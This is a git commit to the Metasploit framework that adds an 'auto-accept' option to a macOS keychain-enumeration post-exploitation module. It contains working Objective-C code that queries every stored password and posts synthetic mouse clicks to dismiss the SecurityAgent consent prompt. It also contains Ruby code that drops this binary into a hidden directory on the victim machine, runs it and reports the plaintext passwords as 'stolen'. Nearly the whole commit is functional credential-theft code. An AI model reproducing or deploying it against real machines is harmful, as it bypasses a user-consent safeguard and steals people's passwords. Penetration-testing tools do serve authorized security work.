Add auto-accept to osx/enum_keychain.

bug/bundler_fix
joev 2015-09-07 21:13:27 -05:00
parent 0c7d2af6bc
commit 1b320bae6a
4 changed files with 217 additions and 21 deletions

View File

@ -0,0 +1,2 @@
all:
gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump

Binary file not shown.

View File

@ -0,0 +1,161 @@
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
#import <Cocoa/Cocoa.h>
#import <CoreFoundation/CoreFoundation.h>
#import <Security/Security.h>
#include <ApplicationServices/ApplicationServices.h>
#include <unistd.h>
#include <pthread.h>
#define TIMEOUT 3
void click(float x, float y) {
CGEventRef move1 = CGEventCreateMouseEvent(
NULL, kCGEventMouseMoved,
CGPointMake(x, y),
kCGMouseButtonLeft // ignored
);
CGEventRef click1_down = CGEventCreateMouseEvent(
NULL, kCGEventLeftMouseDown,
CGPointMake(x, y),
kCGMouseButtonLeft
);
CGEventRef click1_up = CGEventCreateMouseEvent(
NULL, kCGEventLeftMouseUp,
CGPointMake(x, y),
kCGMouseButtonLeft
);
CGEventPost(kCGHIDEventTap, move1);
CGEventPost(kCGHIDEventTap, click1_down);
CGEventPost(kCGHIDEventTap, click1_up);
// Release the events
CFRelease(move1);
CFRelease(click1_up);
CFRelease(click1_down);
}
void parse_windows(int offx, int offy) {
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
for (NSMutableDictionary* entry in (NSArray*)windowList)
{
CGRect rect;
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
if ([ownerName isEqualToString: @"SecurityAgent"]) {
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
float spotx = rect.origin.x + 385 + offx;
float spoty = rect.origin.y + rect.size.height - 25 + offy;
click(spotx, spoty);
}
}
CFRelease(windowList);
}
void poll_ui() {
while(1) {
sleep(0.0001);
parse_windows(0, 0);
}
}
id tQuery = NULL;
CFTypeRef result = NULL;
void prompt() {
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
}
void dump(NSArray *refs) {
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
error: NULL];
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
}
int main() {
pthread_t thread_prompt, thread_click;
NSArray *secItemClasses = [NSArray arrayWithObjects:
(__bridge id)kSecClassGenericPassword,
(__bridge id)kSecClassInternetPassword,
nil];
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
nil];
NSMutableArray *refs = [NSMutableArray new];
for (id secItemClass in secItemClasses) {
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
CFTypeRef result1 = NULL;
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
NSArray *data = (__bridge NSArray*)result1;
if (data) {
for (NSDictionary *item in data) {
if (!item) continue;
NSMutableDictionary *newItem = [NSMutableDictionary new];
for (NSString* key in item) {
[newItem setObject:[[item objectForKey: key] description] forKey: key];
}
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
[refs addObject: newItem];
}
if (result1 != NULL) CFRelease(result1);
}
}
NSMutableArray *all = [NSMutableArray new];
for (id ref in refs) {
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
nil];
for (id secItemClass in secItemClasses) {
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
result = NULL;
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
time_t end = time(NULL) + TIMEOUT;
int found = 0;
while(time(NULL) < end) {
if (result != NULL) {
found = 1;
break;
}
sleep(0.1);
}
pthread_cancel(thread_click);
pthread_cancel(thread_prompt);
[ref removeObjectForKey: @"v_Ref"];
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
// is locked
if (!found) {
parse_windows(-80, 0); // click cancel
dump(all); // get out now
return 0;
}
NSString *pass = @"(null)";
if (result && [result bytes]) {
pass = [NSString stringWithUTF8String:[result bytes]];
if (!pass) pass = @"(null)";
} else {
pass = @"(null)";
}
[ref setObject:pass forKey: @"Private"];
[all addObject: ref];
}
}
dump(all);
return 0;
}

View File

@ -7,24 +7,30 @@ require 'msf/core'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::OSX::System
include Msf::Exploit::FileDropper
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => 'OS X Gather Keychain Enumeration', 'Name' => 'OS X Gather Keychain Enumeration',
'Description' => %q{ 'Description' => %q{
This module presents a way to quickly go through the current user's keychains and This module presents a way to quickly go through the current user's keychains and
collect data such as email accounts, servers, and other services. Please note: collect data such as email accounts, servers, and other services. Please note:
when using the GETPASS option, the user will have to manually enter the password, when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
and then click 'allow' in order to collect each password. alert flash briefly on their screen that gets dismissed by a programatically triggered click.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>'], 'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
'Platform' => [ 'osx' ], 'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell' ] 'SessionTypes' => [ 'shell' ]
)) ))
register_options( register_options(
[ [
OptBool.new('GETPASS', [false, 'Collect passwords.', false]) OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
], self.class) ], self.class)
end end
@ -40,27 +46,25 @@ class Metasploit3 < Msf::Post
user = cmd_exec("whoami").chomp user = cmd_exec("whoami").chomp
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'") out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
i = 0 accounts = []
accounts = {}
out.split("\n").each do |line| out.split("\n").each do |line|
unless line =~ /NULL/ unless line =~ /NULL/
case line case line
when /\"acct\"/ when /\"acct\"/
i+=1 accounts << Hash.new
accounts[i]={} accounts.last["acct"] = line.split('<blob>=')[1].split('"')[1]
accounts[i]["acct"] = line.split('<blob>=')[1].split('"')[1]
when /\"srvr\"/ when /\"srvr\"/
accounts[i]["srvr"] = line.split('<blob>=')[1].split('"')[1] accounts.last["srvr"] = line.split('<blob>=')[1].split('"')[1]
when /\"svce\"/ when /\"svce\"/
accounts[i]["svce"] = line.split('<blob>=')[1].split('"')[1] accounts.last["svce"] = line.split('<blob>=')[1].split('"')[1]
when /\"desc\"/ when /\"desc\"/
accounts[i]["desc"] = line.split('<blob>=')[1].split('"')[1] accounts.last["desc"] = line.split('<blob>=')[1].split('"')[1]
end end
end end
end end
return accounts accounts
end end
def get_passwords(accounts) def get_passwords(accounts)
@ -89,7 +93,7 @@ class Metasploit3 < Msf::Post
end end
def save(data) def save(data, kind='Keychain information')
l = store_loot('macosx.keychain.info', l = store_loot('macosx.keychain.info',
'plain/text', 'plain/text',
session, session,
@ -97,7 +101,7 @@ class Metasploit3 < Msf::Post
'keychain_info.txt', 'keychain_info.txt',
'Mac Keychain Account/Server/Service/Description') 'Mac Keychain Account/Server/Service/Description')
print_good("#{@peer} - Keychain information saved in #{l}") print_good("#{@peer} - #{kind} saved in #{l}")
end end
def run def run
@ -114,14 +118,43 @@ class Metasploit3 < Msf::Post
save(accounts) save(accounts)
if datastore['GETPASS'] if datastore['GETPASS']
begin if (datastore['GETPASS_AUTO_ACCEPT'])
passwords = get_passwords(accounts) print_status("Writing auto-clicker to `#{clicker_file}'")
rescue write_file(clicker_file, clicker_bin)
print_error("#{@peer} - Module timed out, no passwords found.") register_file_for_cleanup(clicker_file)
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
print_status('Dumping keychain with auto-clicker...')
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
save(passwords, 'Plaintext passwords')
begin
count = JSON.parse(passwords).count
print_good("Successfully stole #{count} passwords")
rescue JSON::ParserError => e
print_error("Response was not valid JSON")
end
else
begin
passwords = get_passwords(accounts)
rescue
print_error("#{@peer} - Module timed out, no passwords found.")
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
end
save(passwords)
end end
save(passwords)
end end
end end
def clicker_file
@clicker_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
def clicker_bin
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
))
end
end end